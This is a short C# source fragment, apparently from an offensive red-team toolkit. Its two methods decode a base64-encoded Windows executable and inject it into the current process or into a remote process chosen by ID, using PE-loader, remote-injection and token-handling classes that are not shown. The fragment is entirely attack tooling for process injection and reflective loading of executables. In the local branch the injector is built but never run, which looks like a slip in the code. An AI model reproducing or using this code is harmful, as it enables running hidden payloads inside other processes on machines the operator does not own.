public static string InjectPeString(Int32 processId, string peString, string parameters) { string output = ""; PELoader peLoader = new PELoader(System.Convert.FromBase64String(peString)); //byte[] peBytes = System.Convert.FromBase64String(peString); //PELoader peLoader = new PELoader(peBytes); InjectPE injectPE = new InjectPE(peLoader, parameters); output += injectPE.GetOutput(); return(output); }
private static void _InjectPE(String processId, PELoader peLoader, String parameters) { Console.WriteLine("\n"); try { if (!Int32.TryParse(processId, out Int32 dwProcessId)) { var injectPE = new InjectPE(peLoader, parameters); } else { var injectPE = new InjectPERemote((UInt32)dwProcessId, peLoader, parameters); try { using (var tokens = new Tokens()) { injectPE.Execute(); } } catch (Exception ex) { Console.WriteLine("[-] {0}", ex.Message); } } } catch (FormatException ex) { Console.WriteLine("[-] Unable to Parse Process ID"); Console.WriteLine("[-] {0}", ex.Message); } catch (Exception ex) { Console.WriteLine("[-] Unhandled Exception Occured"); Console.WriteLine("[-] {0}", ex.Message); } }